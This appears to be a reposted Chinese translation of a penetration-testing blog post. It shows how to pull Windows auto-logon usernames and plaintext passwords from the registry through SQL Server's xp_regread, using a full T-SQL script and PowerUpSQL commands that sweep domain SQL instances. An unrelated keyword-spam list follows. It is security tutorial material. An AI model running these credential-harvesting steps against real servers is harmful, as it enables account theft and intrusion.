千家信息网

在SQL Server中通过PowerUpSQL获得Windows自动登录密码

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,原文:https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/在这篇博客中,我将展示如何使
千家信息网最后更新 2026年11月01日在SQL Server中通过PowerUpSQL获得Windows自动登录密码

原文:

https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

在这篇博客中,我将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在***测试中使用。

xp_regread简史

从SQL Server2000后xp_regread扩展存储过程一直被使用,因为其原始版本允许以公共服务器角色的成员访问SQL Server服务帐户权限的几乎任何东西的。当时,它有一个非常大的影响,因为SQL Server以LocalSystem权限运行是常见的(译者注:很容易被提权)。自从SQL Server 2000 SP4发布之后,由于添加了一些访问控制,这有助于防止低权限的登录访问敏感的注册表位置,xp_regread的影响已经相当小,现在,未经授权的用户访问唯一的注册表位置都与SQLServer相关。对于您可以访问这些位置的列表https://support.microsoft.com/en-us/kb/887165

下面是更有趣的访问路径中的几个:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International

xp_regread公共角色的实际用途

即使是我们的双手被捆绑,xp_regread也可以用来获取不少有用的信息。事实上,作为最低权限登录时,我经常用它来抓取其它地方无法获取的服务器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些这些查询:

PS C:\>Get-SQLServerInfo

ComputerName : SQLServer1

Instance : SQLServer1

DomainName : demo.local

ServiceName : MSSQLSERVER

ServiceAccount : NT Service\MSSQLSERVER

AuthenticationMode : Windows and SQL Server Authentication

Clustered : No

SQLServerVersionNumber: 12.0.4213.0

SQLServerMajorVersion : 2014

SQLServerEdition : Developer Edition (64-bit)

SQLServerServicePack : SP1

OSArchitecture : X64

OsMachineType : WinNT

OSVersionName : Windows 8.1 Pro

OsVersionNumber : 6.3

Currentlogin : demo\user

IsSysadmin : Yes

ActiveSessions : 3

在SQL ServerSP4中实现的访问控制限制并不适用于系统管理员。其结果是,任何SQL Server服务账户可以在注册表访问,一个系统管理员可以通过xp_regread访问。乍一看,这似乎不是什么大不了的事,但它确实让我们从注册表中的敏感数据,而不必使用xp_cmdshell存储过程,启用和使用xp_cmdshel会触发大量的告警。所以xp_regread实际上最终被用于基本的SQL Server开发任务后。

使用xp_regread恢复Windows自动登录凭据

配置Windows在计算机启动时自动登录这是可以实现的,虽然这不是在企业环境中的常见配置,这是我们在零售环境中经常看到的东西。特别是那些支持传统的POS终端和信息亭使用SQL服务器本地运行。在大多数情况下,当Windows配置为自动登录,加密的凭据存储在注册表项:

HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon

利用这些信息,我们可以编写使用一个基本的TSQL脚本,通过xp_regread获取注册表的自动登录凭据,而无需使xp_cmdshell启用。下面就是一个TSQL脚本例子,但由于注册表路径不在允许列表上,我们必须作为一个系统管理员运行查询:

-------------------------------------------------------------------------

-- Get Windows AutoLogin Credentials from the Registry

-------------------------------------------------------------------------

-- Get AutoLoginDefault Domain

DECLARE@AutoLoginDomain SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey = N'HKEY_LOCAL_MACHINE',

@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name = N'DefaultDomainName',

@value = @AutoLoginDomainoutput

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginUser SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey = N'HKEY_LOCAL_MACHINE',

@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name = N'DefaultUserName',

@value = @AutoLoginUser output

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginPassword SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey = N'HKEY_LOCAL_MACHINE',

@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name = N'DefaultPassword',

@value = @AutoLoginPasswordoutput

-- Display Results

SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword

我已经创建了一个名为"Get-SQLRecoverPwAutoLogon"的PowerUpSQL函数,所以你可以直接运行它。它将获取默认的Windows自动登录信息和曾经设置过的Windows自动登录信息。然后,它返回相关的域名、用户名和密码。

下面是那些感兴趣的一个命令示例。如果您对***隐蔽的SQL Server目标有兴趣,你可以挖掘这个博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):

PS C:\> $Accessible =Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose-Threads 15| Where-Object {$_.Status -eq "Accessible"}

PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose

VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.

VERBOSE: SQLServer2.demo.local\Application: Connection Success.

VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.

VERBOSE: SQLServer3.demo.local\2014 :Connection Success.

VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.

ComputerName : SQLServer1

Instance : SQLServer1\Instance1

Domain : demo.local

UserName : KioskAdmin

Password : test

ComputerName : SQLServer1

Instance : SQLServer1\Instance1

Domain : demo.local

UserName : kioskuser

Password : KioskUserPassword!

总结

即使xp_regread扩展存储过程已部分阉割,仍有许多方式,它可以被证明是有用的***测试和红队交战中。希望你能用"sqlserverinfo"、"sqlrecoverpwautologon"函数构建它的能力,更多注册表的乐趣将陆续提供,在此期间,祝你好运,并负责任!

参考文章:

https://support.microsoft.com/en-us/kb/887165

https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

http://sqlmag.com/t-sql/using-t-sql-manipulate-registry


登录 注册表 信息 存储 服务 权限 过程 运行 位置 凭据 服务器 管理员 系统 管理 配置 密码 东西 兴趣 函数 博客 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 深圳市人人互联网科技有限公司 科技企业和互联网企业 腾讯阿里互联网科技 科技制造互联网公司 为想互联网科技 贷财互联网科技 互联网科技上市公司 互联网科技网站 蓝色互联网科技 华中科技有哪些互联网大佬 西藏七维空间互联网科技有限公司 青岛中康互联网医疗科技有限公司 北京大学互联网科技怎么样 佳云科技和互联网广告 注册互联网科技公司经营范围大全 互联网金融科技元年 上海钢联属于互联网科技股吗 下一代互联网重大应用科技园 2021世界互联网领先科技成果发布 世界互联网科技成果奖 疫情对互联网科技公司影响 唐信互联网科技 深圳天众互联网科技公司 湖南洣水互联网科技有限公司扣款 云创客互联网科技公司 温州喔噻互联网科技有限公司 移动互联网年度科技创新 新氧科技和美国互联网有关系吗 好易买互联网科技 互联网的黑科技实验室
0